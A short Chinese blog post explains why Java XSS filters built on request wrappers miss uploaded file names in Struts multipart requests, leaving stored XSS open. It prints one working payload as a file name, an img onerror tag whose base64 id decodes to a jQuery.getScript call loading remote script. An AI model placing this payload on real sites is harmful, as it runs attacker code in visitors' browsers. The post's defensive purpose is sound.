JAVA基础

XSS漏洞--文件名

2018-05-02  本文已影响9人  gghao1

java处理xss漏洞的方法一般是配个filter,例如:

chain.doFilter(new XssHttpServletRequestWraper((HttpServletRequest) request), response);

写个HttpServletRequestWrapper的子类XssHttpServletRequestWraper,重写getParameter等方法(过滤),封装request,然后继续执行filter链。(这部分会在之后会写一篇说明)

但是文件名获取不会走新写的request包装包装器类,如果不加处理,存在存储型xss漏洞。

例如:

文件名:<img src=x id=alF1ZXJ5LmdldFNjcmlwdCgiaHR0cHM6Ly9jb2RpbmcubmV0L3UveWFuZ3hpYW9kaS9wL3Rlc3QxL2dpdC9yYXcvbWFzdGVyLzMuanMiKQ onerror=eval(atob(this.id))>2.png"

atob是base64解码方法,解码之后jQuery.getScript("https://coding.net/u/yangxiaodi/p/test1/git/raw/master/3.js")

如果没有得到过滤,前端获取到文件名渲染时不经过转义(服务器存文件时未改名字),会执行js脚本导致xss攻击。

下文以struts为例说明

struts

流程:1.走自己写的xssfilter,封装request。 

          2.走struts的filter dispatcher,dofilter方法中会调用prepareDispatcherAndWrapRequest方法,prepare方法中根据contentType为multipart/form-data,使用MultiPartRequestWrapper封装request. 其他情况用StrutsRequestWrapper封装

 3.使用StrutsRequestWrapper封装的情况下,调用getParameter,gerHeader等方法,都会经过自己写的filter类的。

4.MultiPartRequestWrapper 

public StringgetParameter(String name) {

    return ((multi ==null) || (multi.getParameter(name) ==null)) ?super.getParameter(name) :multi.getParameter(name);

}

其中multi中包含文件名的参数,所以获取文件名不会走自己写的filter类。

综上,文件名需要单独处理。

上一篇下一篇

猜你喜欢

热点阅读